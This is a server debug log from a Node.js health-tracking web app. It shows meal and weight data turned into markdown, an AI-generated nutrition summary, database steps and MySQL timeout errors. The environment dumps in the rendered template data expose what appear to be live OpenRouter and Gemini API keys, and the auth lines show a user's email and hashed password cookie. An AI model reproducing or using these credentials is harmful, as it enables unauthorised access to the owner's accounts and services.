    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T16:43:38.392Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '| 454 | Milk Tea (without sugar) | 30 | 2 | 3 | 2 | 100ml |\n' +
  '| 455 | Jaggery Nuts Patti | 90 | 2 | 12 | 5 | 1 small piece (approx 20g, assuming a small piece is about 20g) |\n' +
  '| 456 | Salted Hot Peanuts | 285 | 13 | 9 | 24 | 50 gm |\n' +
  '| 457 | Chicken Tandoori | 750 | 150 | 0 | 15 | 5 medium pieces (approx 500g, assuming 100g per piece) |\n' +
  '| 458 | Egg Omelette | 154 | 13 | 1 | 11 | 2 eggs (approx 100g) |\n' +
  '| 459 | Budweiser Non-Alcoholic | 60 | 0 | 15 | 0 | 1 can (approx 330ml) |\n' +
  '\n'
2025-12-19T16:43:38.392Z server-connect:app Executing action step run
2025-12-19T16:43:38.392Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T16:43:38.393Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T16:43:38.393Z server-connect:app Executing action step setvalue
2025-12-19T16:43:38.393Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-19T16:43:38.393Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '| 451 | Milk Tea (without sugar) | 30 | 3 | 5 | 1 | 100ml |\n' +
  '| 452 | Roti | 350 | 11 | 74 | 4 | 3.5 |\n' +
  '| 453 | Aloo Matar Sabzi | 150 | 5 | 23 | 6 | 1 serving (approx 150g) |\n' +
  '| 454 | Milk Tea (without sugar) | 30 | 2 | 3 | 2 | 100ml |\n' +
  '| 455 | Jaggery Nuts Patti | 90 | 2 | 12 | 5 | 1 small piece (approx 20g, assuming a small piece is about 20g) |\n' +
  '| 456 | Salted Hot Peanuts | 285 | 13 | 9 | 24 | 50 gm |\n' +
  '| 457 | Chicken Tandoori | 750 | 150 | 0 | 15 | 5 medium pieces (approx 500g, assuming 100g per piece) |\n' +
  '| 458 | Egg Omelette | 154 | 13 | 1 | 11 | 2 eggs (approx 100g) |\n' +
  '| 459 | Budweiser Non-Alcoholic | 60 | 0 | 15 | 0 | 1 can (approx 330ml) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-18T18:30:00.000Z | 70.50 |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T16:43:38.393Z server-connect:app Executing action step processWithGemini
2025-12-19T16:43:38.393Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-19T16:43:40.105Z server-connect:output health_summary: {
  summary: "Today's nutrition intake shows a strong emphasis on protein, which is excellent for muscle development. However, the meal composition includes a significant amount of fats and carbohydrates from sources like peanuts and jaggery, which might hinder fat loss. Meal timing appears somewhat spread out, with multiple milk tea instances. Consistent gym attendance is a positive factor for your goals.",
  rating: 6,
  good_points: [
    'High protein intake from whey and chicken, supporting muscle development.',
    'Consistent early morning gym sessions five times a week.',
    'Inclusion of nuts and eggs provides some healthy fats and micronutrients.'
  ],
  bad_points: [
    'High fat content from salted peanuts and jaggery nuts patti.',
    'Carbohydrate sources like roti and jaggery might be excessive for fat loss.',
    'Frequent consumption of milk tea, even without sugar, adds to overall intake.',
    'The non-alcoholic beer contributes empty carbohydrates.'
  ],
  suggestions: [
    'Incorporate more fibrous vegetables with meals to enhance satiety and nutrient density.',
    'Consider reducing the portion size of high-fat snacks like peanuts.',
    'Prioritize whole, unprocessed food sources for carbohydrates.',
    'Ensure adequate hydration throughout the day, especially around workouts.'
  ],
  predicted_weight_trend: 'Slight downward trend with potential for minor fluctuations.',
  predicted_weight: 70.2
}
2025-12-19T16:43:40.105Z server-connect:app Executing action step condition
2025-12-19T16:43:40.105Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-19T16:43:40.105Z server-connect:app Executing action step delete
2025-12-19T16:43:40.105Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-19T16:43:40.106Z server-connect:output delete: { affected: 1 }
2025-12-19T16:43:40.106Z server-connect:app Executing action step insert
2025-12-19T16:43:40.106Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-19T16:43:40.107Z server-connect:output insert: { affected: 1, identity: 43 }
2025-12-19T16:43:40.107Z server-connect:output condition: undefined
2025-12-19T16:43:40.320Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T16:43:40.320Z server-connect:app Executing action step identify
2025-12-19T16:43:40.320Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:40.321Z server-connect:output identity: 1
2025-12-19T16:43:40.321Z server-connect:app Executing action step restrict
2025-12-19T16:43:40.321Z server-connect:app options: { provider: 'security' }
2025-12-19T16:43:40.321Z server-connect:output restrict: undefined
2025-12-19T16:43:40.321Z server-connect:app Executing action step single
2025-12-19T16:43:40.321Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T16:43:40.321Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's nutrition intake shows a strong emphasis on protein, which is excellent for muscle development. However, the meal composition includes a significant amount of fats and carbohydrates from sources like peanuts and jaggery, which might hinder fat loss. Meal timing appears somewhat spread out, with multiple milk tea instances. Consistent gym attendance is a positive factor for your goals.",
    bad_points: [
      'High fat content from salted peanuts and jaggery nuts patti.',
      'Carbohydrate sources like roti and jaggery might be excessive for fat loss.',
      'Frequent consumption of milk tea, even without sugar, adds to overall intake.',
      'The non-alcoholic beer contributes empty carbohydrates.'
    ],
    good_points: [
      'High protein intake from whey and chicken, supporting muscle development.',
      'Consistent early morning gym sessions five times a week.',
      'Inclusion of nuts and eggs provides some healthy fats and micronutrients.'
    ],
    suggestions: [
      'Incorporate more fibrous vegetables with meals to enhance satiety and nutrient density.',
      'Consider reducing the portion size of high-fat snacks like peanuts.',
      'Prioritize whole, unprocessed food sources for carbohydrates.',
      'Ensure adequate hydration throughout the day, especially around workouts.'
    ],
    predicted_weight: 70.2,
    predicted_weight_trend: 'Slight downward trend with potential for minor fluctuations.'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T16:51:16.376Z server-connect:app Executing action step identify
2025-12-19T16:51:16.376Z server-connect:app options: { provider: 'security' }
2025-12-19T16:51:16.376Z server-connect:output identity: 1
2025-12-19T16:51:19.625Z server-connect:app Executing action step identify
2025-12-19T16:51:19.625Z server-connect:app options: { provider: 'security' }
2025-12-19T16:51:19.625Z server-connect:output identity: 1
2025-12-19T17:00:16.232Z server-connect:app Executing action step identify
2025-12-19T17:00:16.232Z server-connect:app options: { provider: 'security' }
2025-12-19T17:00:16.232Z server-connect:output identity: 1
2025-12-19T17:00:18.454Z server-connect:app Executing action step identify
2025-12-19T17:00:18.454Z server-connect:app options: { provider: 'security' }
2025-12-19T17:00:18.455Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 17:07:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 17:07:03' as DATETIME)"
}
2025-12-19T17:23:43.230Z server-connect:app Executing action step identify
2025-12-19T17:23:43.230Z server-connect:app options: { provider: 'security' }
2025-12-19T17:23:43.230Z server-connect:output identity: 1
2025-12-19T17:23:46.777Z server-connect:app Executing action step identify
2025-12-19T17:23:46.777Z server-connect:app options: { provider: 'security' }
2025-12-19T17:23:46.777Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 17:25:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 17:25:42' as DATETIME)"
}
2025-12-19T17:35:11.801Z server-connect:app Executing action step identify
2025-12-19T17:35:11.801Z server-connect:app options: { provider: 'security' }
2025-12-19T17:35:11.801Z server-connect:output identity: 1
2025-12-19T17:35:16.795Z server-connect:app Executing action step identify
2025-12-19T17:35:16.795Z server-connect:app options: { provider: 'security' }
2025-12-19T17:35:16.795Z server-connect:output identity: 1
2025-12-19T17:37:58.805Z server-connect:app Executing action step identify
2025-12-19T17:37:58.805Z server-connect:app options: { provider: 'security' }
2025-12-19T17:37:58.805Z server-connect:output identity: 1
2025-12-19T17:38:00.222Z server-connect:app Executing action step identify
2025-12-19T17:38:00.222Z server-connect:app options: { provider: 'security' }
2025-12-19T17:38:00.222Z server-connect:output identity: 1
2025-12-19T17:38:01.121Z server-connect:app Executing action step identify
2025-12-19T17:38:01.121Z server-connect:app options: { provider: 'security' }
2025-12-19T17:38:01.121Z server-connect:output identity: 1
2025-12-19T17:38:07.824Z server-connect:app Executing action step identify
2025-12-19T17:38:07.824Z server-connect:app options: { provider: 'security' }
2025-12-19T17:38:07.825Z server-connect:output identity: 1
2025-12-19T17:40:41.197Z server-connect:app Executing action step identify
2025-12-19T17:40:41.197Z server-connect:app options: { provider: 'security' }
2025-12-19T17:40:41.197Z server-connect:output identity: 1
2025-12-19T17:40:46.593Z server-connect:app Executing action step identify
2025-12-19T17:40:46.593Z server-connect:app options: { provider: 'security' }
2025-12-19T17:40:46.593Z server-connect:output identity: 1
2025-12-19T17:53:46.237Z server-connect:app Executing action step identify
2025-12-19T17:53:46.237Z server-connect:app options: { provider: 'security' }
2025-12-19T17:53:46.237Z server-connect:output identity: 1
2025-12-19T17:53:49.781Z server-connect:app Executing action step identify
2025-12-19T17:53:49.781Z server-connect:app options: { provider: 'security' }
2025-12-19T17:53:49.782Z server-connect:output identity: 1
2025-12-19T17:59:38.228Z server-connect:app Executing action step identify
2025-12-19T17:59:38.228Z server-connect:app options: { provider: 'security' }
2025-12-19T17:59:38.228Z server-connect:output identity: 1
2025-12-19T17:59:40.744Z server-connect:app Executing action step identify
2025-12-19T17:59:40.744Z server-connect:app options: { provider: 'security' }
2025-12-19T17:59:40.744Z server-connect:output identity: 1
2025-12-19T18:05:54.220Z server-connect:app Executing action step identify
2025-12-19T18:05:54.220Z server-connect:app options: { provider: 'security' }
2025-12-19T18:05:54.220Z server-connect:output identity: 1
2025-12-19T18:05:56.983Z server-connect:app Executing action step identify
2025-12-19T18:05:56.983Z server-connect:app options: { provider: 'security' }
2025-12-19T18:05:57.031Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-19T18:05:57.033Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-19T18:05:57.078Z server-connect:output identity: 1
2025-12-19T18:07:33.058Z server-connect:app Executing action step identify
2025-12-19T18:07:33.059Z server-connect:app options: { provider: 'security' }
2025-12-19T18:07:33.116Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-19T18:07:33.118Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-19T18:07:33.169Z server-connect:output identity: 1
2025-12-19T18:08:57.010Z server-connect:router Serving templateView /
2025-12-19T18:08:57.011Z server-connect:app Executing action step identify
2025-12-19T18:08:57.011Z server-connect:app options: { provider: 'security' }
2025-12-19T18:08:57.011Z server-connect:auth No login cookie found
2025-12-19T18:08:57.011Z server-connect:output identity: false
2025-12-19T18:08:57.011Z server-connect:app Executing action step restrict
2025-12-19T18:08:57.011Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T18:08:57.012Z server-connect:output restrict: undefined
2025-12-19T18:09:02.014Z server-connect:router Serving templateView /login
2025-12-19T18:09:02.014Z server-connect:app Executing action step identify
2025-12-19T18:09:02.014Z server-connect:app options: { provider: 'security' }
2025-12-19T18:09:02.015Z server-connect:auth No login cookie found
2025-12-19T18:09:02.015Z server-connect:output identity: false
2025-12-19T18:09:02.015Z server-connect:router Render template layouts/authentication
2025-12-19T18:09:02.015Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '167.94.138.205',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T18:09:02.014Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '167.94.138.205',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '167.94.138.205',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-19 18:16:03' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-19 18:16:03' as DATETIME)"
}
2025-12-19T18:31:29.291Z server-connect:router Serving templateView /
2025-12-19T18:31:29.292Z server-connect:app Executing action step identify
2025-12-19T18:31:29.292Z server-connect:app options: { provider: 'security' }
2025-12-19T18:31:29.292Z server-connect:auth No login cookie found
2025-12-19T18:31:29.292Z server-connect:output identity: false
2025-12-19T18:31:29.292Z server-connect:app Executing action step restrict
2025-12-19T18:31:29.292Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T18:31:29.293Z server-connect:output restrict: undefined
2025-12-19T18:31:29.539Z server-connect:router Serving templateView /login
2025-12-19T18:31:29.540Z server-connect:app Executing action step identify
2025-12-19T18:31:29.540Z server-connect:app options: { provider: 'security' }
2025-12-19T18:31:29.540Z server-connect:auth No login cookie found
2025-12-19T18:31:29.540Z server-connect:output identity: false
2025-12-19T18:31:29.540Z server-connect:router Render template layouts/authentication
2025-12-19T18:31:29.540Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    'accept-encoding': 'gzip',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    connection: 'keep-alive',
    'accept-language': 'en-US,en;q=0.5',
    'cache-control': 'max-age=0',
    'upgrade-insecure-requests': '1',
    'x-forwarded-for': '23.27.145.188',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-20T18:31:29.539Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '23.27.145.188',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux i686; rv:109.0) Gecko/20100101 Firefox/120.0',
    HTTP_ACCEPT_ENCODING: 'gzip',
